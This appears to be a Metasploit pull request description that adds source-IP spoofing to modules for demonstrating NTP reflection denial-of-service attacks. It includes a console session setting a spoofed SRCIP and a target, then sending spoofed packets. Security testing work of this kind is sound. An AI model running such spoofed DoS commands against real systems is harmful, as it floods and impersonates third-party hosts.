Spoofing based requests

This PR adds the ability to perform IP based spoofing using several modules. This makes makes reflection based attacks easier to demonstrate.

Example:
msf auxiliary(ntp_peer_list_sum_dos) > use modules/auxiliary/scanner/ntp/ntp_reslist_dos
msf auxiliary(ntp_peer_list_sum_dos) > set SRCIP 10.0.0.60
SRCIP => 10.0.0.60
msf auxiliary(ntp_peer_list_sum_dos) > set RHOSTS 10.0.0.61
RHOSTS => 10.0.0.61
msf auxiliary(ntp_peer_list_sum_dos) > set NUM_REQUESTS 3
NUM_REQUESTS => 3
msf auxiliary(ntp_peer_list_sum_dos) > run

[*] Sending packet to 10.0.0.61 from 10.0.0.60
[*] Sending packet to 10.0.0.61 from 10.0.0.60
[*] Sending packet to 10.0.0.61 from 10.0.0.60
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed